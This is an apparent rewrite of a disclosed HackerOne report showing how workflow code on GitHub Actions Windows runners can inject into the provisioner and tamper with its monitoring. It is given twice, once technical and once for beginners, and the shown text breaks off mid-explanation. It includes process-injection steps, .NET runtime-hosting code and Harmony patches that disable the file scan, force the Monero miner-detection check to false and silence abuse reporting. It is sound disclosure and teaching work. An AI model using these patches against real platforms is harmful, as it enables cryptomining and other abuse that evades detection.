How to hack Github Actions
The Virtual Environment Provisioner on GitHub Actions Windows runners runs as the same user as user scripts and is not isolated, so a user script can inject code into it and patch its monitoring functions. This lets an attacker bypass checks for suspicious files and processes, and suppress reporting of suspicious activity, allowing prohibited binaries such as miners to run.
Published on github.com
From July 11 to July 22, 2022, I worked on the old idea associated with an attempt to participate in a HackerOne bug bounty program. This report related to vulnerability in Github Actions.
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
GitHub Actions runs user workflows on hosted virtual machines. On windows-latest runners, a background program called Virtual Environment Provisioner (provisioner.exe) maintains the VM and enforces anti-abuse rules. It lives at C:\actions\runner-provisioner-Windows and is not open source. The researcher came across an article about a crypto-mining attack through a pull request while writing GitHub Actions scripts, and wondered how GitHub prevents such attacks. The work ran from 11 to 22 July 2022, was reported through HackerOne, and was rewarded with 500 USD and a t-shirt on 2 August 2022.
Setup
The target is the windows-latest GitHub Actions VM. The researcher needed the provisioner binary for analysis, so the first step was to copy it out of the runner using a workflow. The workflow file is .github/workflows/files.yml:
name: Give me files for reverse engineering
on:
workflow_dispatch:
jobs:
build:
runs-on: windows-latest
steps:
- uses: actions/checkout@v3
- name: Steal some files for me to analyze
run: |
Copy-Item C:\Windows\System32\kernel32.dll .\
Copy-Item C:\actions\runner-provisioner-Windows\hostfxr.dll .\
Copy-Item -Recurse C:\actions\runner-provisioner-Windows .\
- uses: actions/upload-artifact@v3
with:
name: libraries
path: |
kernel32.dll
hostfxr.dll
- uses: actions/upload-artifact@v3
with:
name: program
path: runner-provisioner-Windows
The workflow copies kernel32.dll, hostfxr.dll and the whole runner-provisioner-Windows directory, then uploads them as artifacts. Analysis was done with dnSpyEx. The researcher says he had to use reverse RDP on the system to figure this out, and states that the whole report targets windows-latest VMs.
Finding it
Decompiling provisioner.framework.dll revealed a set of monitoring jobs:
| Class | What the researcher says it does |
|---|---|
ActivityLogMonitorJob |
reports suspicious activity |
HostsFileMonitorJob |
checks that C:\Windows\System32\Drivers\etc\hosts is not changed to block mining pools |
MachineHealthMonitorJob |
sends some (CPU, RAM?) metrics over the network |
MachineInfoMonitorJob |
not sure |
NetworkHealthMonitorJob |
checks that the network is reachable |
ProcessMonitorJob |
checks if a process has mining-related activity (arguments, process name) |
ProvjobdMonitorJob |
runs some golang executable file |
SuspiciousFilesMonitorJob |
recursively scans for malware/miners on the VM |
So the provisioner has a security system to prevent abusive actions, and killing provisioner.exe makes GitHub Actions stop the script immediately. The observation that mattered: the process is not isolated from custom scripts and runs as the user runneradmin. If code could be injected into it at runtime, the security logic itself could be modified, for example making the CPU metrics sent over the network read near zero, after which the other constraints could be bypassed.
Exploitation
Step 1: shellcode injection into the provisioner
The first layer is ordinary remote process injection:
- find the
provisioner.exeprocess id usingCreateToolhelp32SnapshotandProcess32NextW - get a handle to the process by id using
OpenProcess - allocate virtual memory inside the process using
VirtualAllocEx - write the shellcode bytes into the allocated memory using
WriteProcessMemory - create a thread whose entry point is the allocated block using
CreateRemoteThread - wait for the result with
WaitForSingleObject - check success with
GetExitCodeThread
The implementation is in projects/cpp/app/codeinjector/src/main.cpp.
Step 2: hosting the .NET runtime from native code
Native injection is not enough to reach the C# code. The researcher used Microsoft's guide on writing a custom .NET host to control the runtime from native code, and built a module called bootstrapper (projects/cpp/app/bootstrapper/src/main.cpp). The steps are:
- extract the C# DLLs into
%TEMP% - find the base address of
hostfxr.dll - find the address of
hostfxr_get_runtime_delegate() - obtain the address of
fx_muxer_t::get_active_host_context() - call
fx_muxer_t::get_active_host_context()to get the active runtime context - call
hostfxr_get_runtime_delegate()to get a native function pointer to the requested runtime functionality, saved asdelegate - obtain
load_assembly_and_get_function_pointer_fn()from that delegate - call
load_assembly_and_get_function_pointer_fn()with the C# assembly to inject, which produces an entrypoint callable from C++ - call the entrypoint, marked
[UnmanagedCallersOnly]on the C# side
Step 4 is the interesting one. fx_muxer_t::get_active_host_context() is not exported, so its address has to be recovered from machine code. The researcher located its use in hostfxr_get_runtime_properties, which is exported, in IDA Pro:
.text:00000001800135FA E8 E1 35 00 00 call fx_muxer_t::get_active_host_context(void)
On x86_64 every call instruction starts with opcode 0xE8. The operand E1 35 00 00 is a little-endian offset, so the instruction decodes as call 0x35E1. The target is computed as:
0x00000001800135FA + 0x35E1 + 5 = 0x180016be0
where 5 is the size of the call instruction and 0x00000001800135FA is the RIP. Jumping to 0x180016be0 in IDA Pro confirms the address points at fx_muxer_t::get_active_host_context().
The same calculation is done at runtime by scanning bytes until the second 0xE8 is found:
/// function pointer to `hostfxr_get_runtime_properties` (exported)
auto hostfxr_get_runtime_properties_fptr = loader::GetExportByHash<hostfxr_get_runtime_properties_fn>(
base,
adler32::hash_fn_compile_time("hostfxr_get_runtime_properties")
);
/// look for 2-nd x86_64 `call` instruction (opcode 0xE8, size 5 bytes)
/// based on code xrefs
auto buf = reinterpret_cast<BYTE *>(hostfxr_get_runtime_properties_fptr);
uint8_t count = 0;
while (count != 2) {
if (*buf++ == 0xE8) {
count++;
}
}
auto instructionAddress = reinterpret_cast<SIZE_T>(buf);
auto functionAddress = instructionAddress + *reinterpret_cast<DWORD *>(buf) + 5;
/// function pointer to `fx_muxer_t::get_active_host_context`
auto get_active_host_context_fptr = reinterpret_cast<decltype(&fx_muxer_t::get_active_host_context)>(functionAddress);
This is effectively an ASLR bypass for the non-exported function: the exported function is found by hash, the second call inside it is located by opcode, and the relative offset is resolved against the current instruction pointer.
Step 3: patching C# methods with Harmony
Once inside the runtime, the Harmony library attaches to any function of provisioner.exe. A prefix can run custom code before the original and cancel it; a postfix can run after it and replace the result. The first target was SuspiciousFilesMonitorJob:
namespace Microsoft.AzureDevOps.Provisioner.Framework.Monitoring {
class SuspiciousFilesMonitorJob {
private bool SuspiciousSignatureExists(string directory, int currDepth) { ... }
}
}
A logging-only patch confirmed that interception works:
[HarmonyPatch(typeof(Microsoft.AzureDevOps.Provisioner.Framework.Monitoring.SuspiciousFilesMonitorJob))]
public class SuspiciousFilesMonitorJobPatches
{
[HarmonyPrefix]
[HarmonyPatch("SuspiciousSignatureExists")]
static void SuspiciousSignatureExists(
Microsoft.AzureDevOps.Provisioner.Framework.Monitoring.SuspiciousFilesMonitorJob __instance,
string directory,
int currDepth
)
{
NetworkLogger.GetInstance().Write($"{__instance.Name} // SuspiciousSignatureExists({directory}, {currDepth})");
}
}
NetworkLogger sends everything to any IPv4 address. The researcher started a local server on the GitHub Actions VM and left it for 15 minutes to collect logs, which showed the interception working.
Step 4: bypassing the suspicious file scan
The scan is recursive. The observed call pattern is:
SuspiciousSignatureExists(directory=@"D:\a", currDepth=0);
SuspiciousSignatureExists(directory=@"D:\a\test-repo", currDepth=1);
SuspiciousSignatureExists(directory=@"D:\a\test-repo\test-repo", currDepth=2);
...
The decompiled logic walks down through directories until depth 5. The patch returns false from the prefix and skips the original entirely:
[HarmonyPatch(typeof(Microsoft.AzureDevOps.Provisioner.Framework.Monitoring.SuspiciousFilesMonitorJob))]
public class SuspiciousFilesMonitorJobPatches
{
[HarmonyPrefix]
[HarmonyPatch("SuspiciousSignatureExists")]
static bool SuspiciousSignatureExists(
Microsoft.AzureDevOps.Provisioner.Framework.Monitoring.SuspiciousFilesMonitorJob __instance,
string directory,
int currDepth,
ref bool __result
)
{
NetworkLogger.GetInstance().Write($"{__instance.Name} // SuspiciousSignatureExists({directory}, {currDepth})");
__result = false; //no suspicious files
//don't call SuspiciousFilesMonitorJob.SuspiciousSignatureExists(...)
//now provisioner will not scan subfolders at all
return false;
}
}
With the prefix returning false, the original method is not called, so no subfolders are scanned at all. The output becomes a single line:
Suspicious Files Monitor // SuspiciousSignatureExists(directory=@"D:\a", currDepth=0)
By changing this behaviour, the researcher notes, an attacker could launch a miner, a trojan, anything prohibited on GitHub Actions.
Step 5: bypassing the process argument check
ProcessMonitorJob references ScriptTaskValidator in its Initialize function. ScriptTaskValidator builds a list of IBadTokenProvider, one from the constructor and one static, producing bad tokens (this.m_regexesToMatch, this.m_stringsToMatch) used to search for malicious processes. BaseBadTokenProvider, in the same namespace, can for example find a Monero address in process arguments. The researcher states that a Monero address is 95 characters, so the regex "4[1-9a-km-zA-HJ-NP-Z]{94}" relates to XMR. These tokens are consumed by HasBadParamOrArgument:
namespace GitHub.DistributedTask.Pipelines.Validation {
class ScriptTaskValidator {
public bool HasBadParamOrArgument(string exeAndArgs, out string matchedPattern, out string matchedToken) { ... }
}
}
which is finally called from ProcessMonitorJob. The demonstration appends a Monero address to exeAndArgs in a prefix, so every process matches, logs the arguments and the original result, and then forces the result to false in a postfix:
[HarmonyPatch(typeof(GitHub.DistributedTask.Pipelines.Validation.ScriptTaskValidator))]
public class ScriptTaskValidatorPatches
{
[HarmonyPrefix]
[HarmonyPatch(nameof(GitHub.DistributedTask.Pipelines.Validation.ScriptTaskValidator.HasBadParamOrArgument))]
static void HasBadParamOrArgument_Prefix(ref string exeAndArgs)
{
//trigger provisioner by appending XMR address to exeAndArgs
exeAndArgs += " [redacted]";
}
[HarmonyPostfix]
[HarmonyPatch(nameof(GitHub.DistributedTask.Pipelines.Validation.ScriptTaskValidator.HasBadParamOrArgument))]
static void HasBadParamOrArgument_Postfix(string exeAndArgs, ref bool __result)
{
//checking result from original function HasBadParamOrArgument(...), it would be True for all processes
NetworkLogger.GetInstance().Write($"ScriptTaskValidator // HasBadParamOrArgument({exeAndArgs}, ..., ...) = {__result}");
__result = false; //set result to false to bypass provisioner check ;D
}
}
The resulting log shows the original function returning True for every process, and the postfix overriding it:
ScriptTaskValidator // HasBadParamOrArgument(dotnet "C:\Program Files\dotnet\dotnet.exe" exec "C:\Program Files\dotnet\sdk\6.0.301\Roslyn\bincore\VBCSCompiler.dll" "-pipename:q1wL+[redacted]" [redacted], ..., ...) = True
ScriptTaskValidator // HasBadParamOrArgument(conhost \??\C:\Windows\system32\conhost.exe 0x4 [redacted], ..., ...) = True
ScriptTaskValidator // HasBadParamOrArgument(cmd "C:\Windows\system32\cmd.EXE" /D /E:ON /V:OFF /S /C "CALL "D:\a\_temp\b6691e1d-9d87-4460-bf1f-42cf7bfa196d.cmd"" [redacted], ..., ...) = True
ScriptTaskValidator // HasBadParamOrArgument(python python scripts\server.py [redacted], ..., ...) = True
ScriptTaskValidator // HasBadParamOrArgument(taskhostw taskhostw.exe [redacted], ..., ...) = True
Such an attack may allow a Monero miner to be launched without reporting suspicious activity.
Step 6: suppressing the report to GitHub (not tested)
The researcher also shows, without testing it so as not to do anything banned on GitHub, how the function that reports suspicious activity could be replaced:
[HarmonyPatch(typeof(MachineManagement.Provisioning.MachineManagementClient))]
public class MachineManagementClientPatches
{
[HarmonyPrefix]
[HarmonyPatch(nameof(MachineManagement.Provisioning.MachineManagementClient.ReportSuspiciousActivityAsync))]
static bool ReportSuspiciousActivityAsync(
long requestId,
byte[] postRegistrationAccessToken,
string suspiciousActivity,
string poolName,
string instanceName,
ref Task __result
)
{
var token = Convert.ToHexString(postRegistrationAccessToken);
NetworkLogger.GetInstance().Write($"MachineManagementClient // ReportSuspiciousActivityAsync({requestId}, {token}, {suspiciousActivity}, {poolName}, {instanceName})");
__result = new Task(() => {
//replace task with nothing
});
return false; //don't call MachineManagementClient.ReportSuspiciousActivityAsync(...)
}
}
The prefix logs the arguments, including the post-registration access token, replaces the returned task with an empty one, and returns false so the original reporting call never runs. The full code is in projects/csharp/patcher/patcher/Main.cs.
Step 7: running the PoC on a runner
The complete project contains .github/workflows/build.yml. Uploaded to GitHub, it automatically runs an action that builds the payload from source, runs a local Python server and exits after 15 minutes.
Root cause
The provisioner process is not isolated from the user's custom scripts and runs as the user runneradmin. Any code the workflow can run can therefore open the process, allocate memory in it, write a payload and start a remote thread. Because the provisioner is a .NET application, the injected native code can host the runtime itself and load a C# assembly into the running process, after which Harmony can rewrite the behaviour of the monitoring jobs. The anti-abuse checks live inside a process the user's script can write to, because the provisioner is not isolated from custom scripts. The non-exported fx_muxer_t::get_active_host_context() is reachable through a fixed code pattern inside an exported function, so address randomisation does not protect the runtime hosting path either.
Impact
In theory, an attacker can do a lot of bad things with this attack vector. The proof of concept shows a way to bypass the Virtual Environment Provisioner restrictions so that bad binaries could run without an immediate ban from the automatic security system.: the recursive file scan can be disabled, the process argument check can be forced to return false, and the suspicious activity report can be suppressed. The researcher did not test the last one, and deliberately did not run anything prohibited on GitHub. All of this is specific to windows-latest VMs.
Fix
GitHub rewarded the report, but the write-up does not describe any change made to the provisioner or the runner.
Variants to test
- Other hosted runner images. The report covers
windows-latestonly. Check whether a similar provisioner process exists on other images and whether it runs in the same user context as the workflow; a positive result is a process you can open withOpenProcessand whose modules you can enumerate from a workflow step. - Other .NET monitoring agents. Any agent that is a .NET process running as the same user is a candidate for the same runtime hosting technique. A positive result is a Harmony patch that changes a logged return value.
- Non-exported function resolution. The opcode-scanning trick works wherever an exported function calls a non-exported one at a fixed offset. A positive result is a computed address that matches the one found statically in a disassembler.
- Depth-limited recursive scans. The file scan stops at depth 5. Place a payload below that depth and observe whether it is reported; a positive result is a scan that never reaches the file.
- Token-based process matching. The argument check relies on regexes such as the XMR pattern. Try processes whose arguments contain a matching token and confirm whether the check fires; a positive result is a
Trueresult in the validator log.
What happened, in plain words
GitHub Actions is a service where you give GitHub a small recipe file, and GitHub runs it for you on a computer in its own data centre. That computer is called a runner, and you never see it: it starts, runs your recipe, and disappears. Because thousands of people use this every day, GitHub has to stop people from using those free computers for things they should not, such as secretly mining cryptocurrency on GitHub's electricity bill.
A security researcher spent 11 to 22 July 2022 looking at how GitHub stops that abuse on Windows runners. He found a background program called the Virtual Environment Provisioner, which watches the machine and reports bad behaviour. The problem he found is that this guard is not isolated from the user's own recipe and runs as the user runneradmin. So the recipe can reach into the guard, change its code while it is running, and switch off its checks. He reported it through HackerOne, the bug bounty platform, and on 2 August 2022 he was rewarded with 500 USD and a t-shirt.
This article walks through the whole thing from zero. You do not need to know any security to follow it, only what a browser and a computer are. Every technical word is explained the first time it appears, and there is a glossary at the end.
The starting point
The researcher was learning to write GitHub Actions recipes for automation. He read an article about someone using a pull request to start crypto-mining on GitHub's machines, and he wondered how GitHub actually prevents that. That question became the report.
A few words before we go on:
- GitHub Actions: GitHub's feature for running automated tasks. You write a file describing steps, GitHub runs them on a fresh machine.
- Workflow: that recipe file. It lives in a folder called
.github/workflows/inside a repository. - Runner: the machine that executes the workflow.
windows-latestmeans a runner with a recent version of Windows. - Virtual machine (VM): a computer simulated by software. It behaves like a real computer but is really a program running on a bigger one. GitHub gives each workflow its own VM so users cannot interfere with each other.
- Crypto-mining: using someone else's computer to do the maths that earns cryptocurrency. It costs the victim electricity and earns the attacker money, which is why GitHub forbids it.
- Pull request: a proposal to change a repository, which anyone can open. It is a common way to get code of your choosing onto someone else's machine.
What the guard is
Every time a normal user runs a workflow on a Windows VM, a program called Virtual Environment Provisioner starts in the background. The researcher says he had to use reverse RDP on the system to figure this out. RDP is Remote Desktop, the feature that lets you see and control another computer's screen; reverse RDP means the remote machine connects back to you so you can watch it.
The provisioner lives at C:\actions\runner-provisioner-Windows in a file called provisioner.exe. It maintains the VM and enforces the anti-abuse rules. It is not open source, meaning its code is not published, so the only way to understand it is to take the program apart. The whole report targets windows-latest VMs.
Getting the program out for study
To study a program you need a copy of it. The researcher used a workflow to copy the files out of the runner and upload them, which is a neat trick: the workflow runs on the very machine that holds the files.
The workflow file is .github/workflows/files.yml:
name: Give me files for reverse engineering
on:
workflow_dispatch:
jobs:
build:
runs-on: windows-latest
steps:
- uses: actions/checkout@v3
- name: Steal some files for me to analyze
run: |
Copy-Item C:\Windows\System32\kernel32.dll .\
Copy-Item C:\actions\runner-provisioner-Windows\hostfxr.dll .\
Copy-Item -Recurse C:\actions\runner-provisioner-Windows .\
- uses: actions/upload-artifact@v3
with:
name: libraries
path: |
kernel32.dll
hostfxr.dll
- uses: actions/upload-artifact@v3
with:
name: program
path: runner-provisioner-Windows
Line by line:
name:gives the workflow a human-readable title, here "Give me files for reverse engineering".on: workflow_dispatch:means the workflow does not run automatically; a person has to press a button to start it.jobs:is the list of jobs. There is one job, calledbuild.runs-on: windows-latestsays the job needs a Windows runner.steps:is the ordered list of things to do.uses: actions/checkout@v3downloads the repository's own files onto the runner. It is the standard first step.name: Steal some files for me to analyzeis just a label for the next step.run: |starts a block of Windows commands (PowerShell).Copy-Item C:\Windows\System32\kernel32.dll .\copies a core Windows system file into the current folder. The trailing.\means "here".Copy-Item C:\actions\runner-provisioner-Windows\hostfxr.dll .\copies one library from the provisioner's folder.Copy-Item -Recurse C:\actions\runner-provisioner-Windows .\copies the whole provisioner folder, including subfolders, because-Recursemeans "and everything inside".uses: actions/upload-artifact@v3uploads files so they can be downloaded later. The first upload is namedlibrariesand contains the two DLLs.- The second upload is named
programand contains the whole copied folder.
A DLL is a library file: a bundle of code that other programs load and use, rather than a program you start by double-clicking. kernel32.dll is a core Windows library; hostfxr.dll belongs to .NET, the software platform the provisioner is written in.
With the files in hand, the researcher used dnSpyEx, a tool that opens a compiled .NET program and shows something close to its original source code. This process is called decompiling. He also mentions using reverse RDP to watch the provisioner in action.
What the guard actually does
Decompiling provisioner.framework.dll revealed a set of monitoring jobs. A job here is just a piece of code that runs on a schedule or in the background, like a security camera that keeps looking.
| Class | What the researcher says it does |
|---|---|
ActivityLogMonitorJob |
reports suspicious activity |
HostsFileMonitorJob |
checks that C:\Windows\System32\Drivers\etc\hosts is not changed to block mining pools |
MachineHealthMonitorJob |
sends some (CPU, RAM?) metrics over the network |
MachineInfoMonitorJob |
not sure |
NetworkHealthMonitorJob |
checks that the network is reachable |
ProcessMonitorJob |
checks if a process has mining-related activity (arguments, process name) |
ProvjobdMonitorJob |
runs some golang executable file |
SuspiciousFilesMonitorJob |
recursively scans for malware/miners on the VM |
A class is a named definition of data and behaviour in an object-oriented language; think of it as a labelled drawer in a filing cabinet. A process is a running program. The hosts file is a small text file that maps names to addresses on a computer; changing it can, for example, redirect a mining pool's name to nowhere, which is why the guard watches it. CPU is the processor, and RAM is working memory; metrics are measurements of how busy they are. A mining pool is a group of miners who combine their work and share the reward.
So the provisioner has a security system to prevent abusive actions. One detail matters a lot: if you try to kill provisioner.exe, GitHub Actions immediately stops your script. The guard is protected against being switched off.
The observation that made the whole attack possible: the process is not isolated from custom scripts and runs as the user runneradmin. Isolation means keeping two things apart so one cannot touch the other. Here there is none: the guard and the user's script run under the same account, so the script can reach the guard. If code could be injected into the guard while it runs, the security logic itself could be modified, for example making the CPU metrics sent over the network read near zero, after which the other constraints could be bypassed.
The idea, without the technical part
Imagine a nightclub with a bouncer at the door. The bouncer checks everyone and radios head office about trouble. Now imagine the bouncer and the guests are the same person, wearing two hats. A guest can simply take the bouncer's hat off, put it back on, and decide what gets reported.
That is the shape of the bug. The guard is a program running on the same machine, under the same user, as the untrusted workflow. The workflow can therefore open the guard's memory, write its own instructions there, and make the guard run them. Once that works, the guard's checks can be rewritten from the inside.
How the injection works
At first you need to perform shellcode injection. Shellcode is a small blob of machine instructions, the raw language the processor understands, that an attacker wants a program to run. Injection means putting that blob into another running program and making it execute.
The steps are:
- find the
provisioner.exeprocess id usingCreateToolhelp32SnapshotandProcess32NextW - get a handle to the process by id using
OpenProcess - allocate virtual memory inside the process using
VirtualAllocEx - write the shellcode bytes into the allocated memory using
WriteProcessMemory - create a thread whose entry point is the allocated block using
CreateRemoteThread - wait for the result with
WaitForSingleObject - check success with
GetExitCodeThread
In plain words: every running program has a number, its process id. Windows offers functions to list processes, so step 1 finds the guard's number. A handle is a permission slip the operating system gives you to act on something; step 2 asks for one for that process. Virtual memory is the memory a program sees as its own; step 3 asks Windows to reserve a blank area inside the guard's memory. Step 4 copies the instructions into that blank area. A thread is a stream of execution inside a process, like a worker following a list of tasks; step 5 starts a new worker whose first task is the copied instructions. Steps 6 and 7 wait for it to finish and ask whether it succeeded.
The implementation is in projects/cpp/app/codeinjector/src/main.cpp.
This injection is still not enough to get to the C# code. The provisioner is written in C#, a language that runs on .NET, a runtime that sits between the program and Windows. The researcher spent about a week doing reverse engineering work on .NET internals and found Microsoft's guide on writing a custom .NET host to control the runtime from native code. Native code means instructions compiled directly for Windows, as opposed to C# which needs .NET to run it. He built a module called bootstrapper (projects/cpp/app/bootstrapper/src/main.cpp).
The steps are:
- extract the C# DLLs into
%TEMP% - find the base address of
hostfxr.dll - find the address of
hostfxr_get_runtime_delegate() - obtain the address of
fx_muxer_t::get_active_host_context() - call
fx_muxer_t::get_active_host_context()to get the active runtime context - call
hostfxr_get_runtime_delegate()to get a native function pointer to the requested runtime functionality, saved asdelegate - obtain
load_assembly_and_get_function_pointer_fn()from that delegate - call
load_assembly_and_get_function_pointer_fn()with the C# assembly to inject, which produces an entrypoint callable from C++ - call the entrypoint, marked
[UnmanagedCallersOnly]on the C# side
In plain words: %TEMP% is a scratch folder Windows provides for temporary files. A base address is where a library has been placed in memory. A function is a named piece of code you can call; its address is where it sits in memory. A function pointer is a value that says "the code to run is at this address", like a phone number instead of a name. An assembly in .NET is a compiled package of C# code, roughly the .NET word for a DLL. An entrypoint is the function that starts everything. [UnmanagedCallersOnly] is a label telling .NET that this function may be called from native code, not only from C#. A runtime context is .NET's record of the program currently running, needed before you can ask it to load anything.
Step 4 is the interesting one. fx_muxer_t::get_active_host_context() is not exported, so its address has to be recovered from machine code. Exported means the library publishes the function's name so other programs can find it easily; a non-exported function is internal and has no public label. The researcher located its use in hostfxr_get_runtime_properties, which is exported, in IDA Pro, a program for viewing compiled machine code as text:
.text:00000001800135FA E8 E1 35 00 00 call fx_muxer_t::get_active_host_context(void)
This line says: at memory address 0x00000001800135FA there is a call instruction, whose bytes are E8 E1 35 00 00, and it calls fx_muxer_t::get_active_host_context. On x86_64, the family of processors Windows runners use, every call instruction starts with the byte 0xE8. The operand E1 35 00 00 is a little-endian offset, meaning the bytes are read from right to left, so the instruction decodes as call 0x35E1. The target is computed as:
0x00000001800135FA + 0x35E1 + 5 = 0x180016be0
where 5 is the size of the call instruction and 0x00000001800135FA is the RIP. RIP is the processor register that holds the address of the instruction currently being executed. The + 5 accounts for the fact that by the time the processor adds the offset, it has already moved past the five-byte instruction. Jumping to 0x180016be0 in IDA Pro confirms the address points at fx_muxer_t::get_active_host_context().
The same calculation is done at runtime by scanning bytes until the second 0xE8 is found:
/// function pointer to `hostfxr_get_runtime_properties` (exported)
auto hostfxr_get_runtime_properties_fptr = loader::GetExportByHash<hostfxr_get_runtime_properties_fn>(
base,
adler32::hash_fn_compile_time("hostfxr_get_runtime_properties")
);
/// look for 2-nd x86_64 `call` instruction (opcode 0xE8, size 5 bytes)
/// based on code xrefs
auto buf = reinterpret_cast<BYTE *>(hostfxr_get_runtime_properties_fptr);
uint8_t count = 0;
while (count != 2) {
if (*buf++ == 0xE8) {
count++;
}
}
auto instructionAddress = reinterpret_cast<SIZE_T>(buf);
auto functionAddress = instructionAddress + *reinterpret_cast<DWORD *>(buf) + 5;
/// function pointer to `fx_muxer_t::get_active_host_context`
auto get_active_host_context_fptr = reinterpret_cast<decltype(&fx_muxer_t::get_active_host_context)>(functionAddress);
Line by line:
- The first block asks the loader for the address of the exported function
hostfxr_get_runtime_properties. Instead of searching by name, it searches by a hash, a short number computed from the name.adler32::hash_fn_compile_timecomputes that number while the program is being compiled, so the name never appears in the final binary. This is a common trick to make analysis harder. auto buf = reinterpret_cast<BYTE *>(...)turns that address into a pointer that walks memory one byte at a time. A pointer is a variable holding an address.- The
whileloop advancesbufbyte by byte and counts how many times it sees0xE8, stopping after the second one.*buf++means "read the byte atbuf, then movebufforward by one". instructionAddressis where the second call instruction starts.functionAddressadds the four-byte offset stored right after the opcode, plus5for the instruction's length.DWORDmeans a four-byte number.- The last line turns that number into a function pointer with the right type, so it can be called as
fx_muxer_t::get_active_host_context.
This is effectively an ASLR bypass for the non-exported function. ASLR, Address Space Layout Randomisation, is a defence that places code at a different address each time a program starts, so an attacker cannot hard-code an address. Here the exported function is found by hash, the second call inside it is located by opcode, and the relative offset is resolved against the current instruction pointer, so the random placement does not matter.
Changing the guard's behaviour with Harmony
Once inside the runtime, the Harmony library attaches to any function of provisioner.exe. Harmony is a .NET tool that lets you run your own code before or after an existing method without editing the original file. A prefix runs custom code before the original and can cancel it; a postfix runs after it and can replace the result. A method is a function that belongs to a class.
The first target was SuspiciousFilesMonitorJob:
namespace Microsoft.AzureDevOps.Provisioner.Framework.Monitoring {
class SuspiciousFilesMonitorJob {
private bool SuspiciousSignatureExists(string directory, int currDepth) { ... }
}
}
This says: in the namespace (a grouping of related code) Microsoft.AzureDevOps.Provisioner.Framework.Monitoring, there is a class SuspiciousFilesMonitorJob with a private method SuspiciousSignatureExists. It takes a folder path and a depth number, and returns true or false. The { ... } stands for code the researcher did not reproduce.
A logging-only patch confirmed that interception works:
[HarmonyPatch(typeof(Microsoft.AzureDevOps.Provisioner.Framework.Monitoring.SuspiciousFilesMonitorJob))]
public class SuspiciousFilesMonitorJobPatches
{
[HarmonyPrefix]
[HarmonyPatch("SuspiciousSignatureExists")]
static void SuspiciousSignatureExists(
Microsoft.AzureDevOps.Provisioner.Framework.Monitoring.SuspiciousFilesMonitorJob __instance,
string directory,
int currDepth
)
{
NetworkLogger.GetInstance().Write($"{__instance.Name} // SuspiciousSignatureExists({directory}, {currDepth})");
}
}
Line by line:
[HarmonyPatch(typeof(...))]is an attribute, a label attached to code that tools read. It tells Harmony which class to target.[HarmonyPrefix]marks the method below as code to run before the original.[HarmonyPatch("SuspiciousSignatureExists")]names the method to intercept.- The method signature mirrors the original:
__instanceis the object whose method is being called,directoryandcurrDepthare the original arguments. - The body writes a line to
NetworkLogger, a small logger the researcher wrote.$before the string means values inside{ }are substituted.
NetworkLogger sends everything to any IPv4 address. IPv4 is the common numbering scheme for internet addresses. The researcher started a local server on the GitHub Actions VM and left it for 15 minutes to collect logs, which showed the interception working.
Switching off the suspicious file scan
The scan is recursive, meaning it calls itself on each subfolder. The observed call pattern is:
SuspiciousSignatureExists(directory=@"D:\a", currDepth=0);
SuspiciousSignatureExists(directory=@"D:\a\test-repo", currDepth=1);
SuspiciousSignatureExists(directory=@"D:\a\test-repo\test-repo", currDepth=2);
...
Each line is one call: the folder being examined and how deep it is. The @ before the string in C# means "take the backslashes literally", because backslash is normally an escape character. The decompiled logic walks down through directories until depth 5. The patch returns false from the prefix and skips the original entirely:
[HarmonyPatch(typeof(Microsoft.AzureDevOps.Provisioner.Framework.Monitoring.SuspiciousFilesMonitorJob))]
public class SuspiciousFilesMonitorJobPatches
{
[HarmonyPrefix]
[HarmonyPatch("SuspiciousSignatureExists")]
static bool SuspiciousSignatureExists(
Microsoft.AzureDevOps.Provisioner.Framework.Monitoring.SuspiciousFilesMonitorJob __instance,
string directory,
int currDepth,
ref bool __result
)
{
NetworkLogger.GetInstance().Write($"{__instance.Name} // SuspiciousSignatureExists({directory}, {currDepth})");
__result = false; //no suspicious files
//don't call SuspiciousFilesMonitorJob.SuspiciousSignatureExists(...)
//now provisioner will not scan subfolders at all
return false;
}
}
What changed compared with the logging patch:
- The method now returns
boolinstead ofvoid. In Harmony, a prefix that returnsfalsetells the library "do not run the original method". ref bool __resultis a reference to the value the original method would have returned.refmeans the prefix can write into it and the caller will see the change.- The body logs the call, sets
__result = false, meaning "no suspicious files here", and returnsfalseso the original scan never runs.
With the prefix returning false, the original method is not called, so no subfolders are scanned at all. The output becomes a single line:
Suspicious Files Monitor // SuspiciousSignatureExists(directory=@"D:\a", currDepth=0)
By changing this behaviour, the researcher notes, an attacker could launch a miner, a trojan, anything prohibited on GitHub Actions. A trojan is a program that looks harmless but does something malicious.
Switching off the process argument check
ProcessMonitorJob references ScriptTaskValidator in its Initialize function. ScriptTaskValidator builds a list of IBadTokenProvider, one from the constructor and one static, producing bad tokens (this.m_regexesToMatch, this.m_stringsToMatch) used to search for malicious processes. A constructor is the code that runs when an object is created. Static means shared by the whole class rather than tied to one object. A token here means a piece of text to look for, not a login token. A regex (regular expression) is a pattern for matching text, like a very precise search rule.
BaseBadTokenProvider, in the same namespace, can for example find a Monero address in process arguments. Monero is a cryptocurrency often used by miners. The researcher states that a Monero address is 95 characters, so the regex "4[1-9a-km-zA-HJ-NP-Z]{94}" relates to XMR. XMR is the short code for Monero. The pattern means: a 4, then 94 characters from the listed set. These tokens are consumed by HasBadParamOrArgument:
namespace GitHub.DistributedTask.Pipelines.Validation {
class ScriptTaskValidator {
public bool HasBadParamOrArgument(string exeAndArgs, out string matchedPattern, out string matchedToken) { ... }
}
}
This declares a public method that takes the program name plus its arguments as one string, and returns true if something bad was found. The two out parameters are how the method hands back extra results: which pattern matched and which token matched. out means the method must fill them in before returning.
This method is finally called from ProcessMonitorJob. The demonstration appends a Monero address to exeAndArgs in a prefix, so every process matches, logs the arguments and the original result, and then forces the result to false in a postfix:
[HarmonyPatch(typeof(GitHub.DistributedTask.Pipelines.Validation.ScriptTaskValidator))]
public class ScriptTaskValidatorPatches
{
[HarmonyPrefix]
[HarmonyPatch(nameof(GitHub.DistributedTask.Pipelines.Validation.ScriptTaskValidator.HasBadParamOrArgument))]
static void HasBadParamOrArgument_Prefix(ref string exeAndArgs)
{
//trigger provisioner by appending XMR address to exeAndArgs
exeAndArgs += " [redacted]";
}
[HarmonyPostfix]
[HarmonyPatch(nameof(GitHub.DistributedTask.Pipelines.Validation.ScriptTaskValidator.HasBadParamOrArgument))]
static void HasBadParamOrArgument_Postfix(string exeAndArgs, ref bool __result)
{
//checking result from original function HasBadParamOrArgument(...), it would be True for all processes
NetworkLogger.GetInstance().Write($"ScriptTaskValidator // HasBadParamOrArgument({exeAndArgs}, ..., ...) = {__result}");
__result = false; //set result to false to bypass provisioner check ;D
}
}
Line by line:
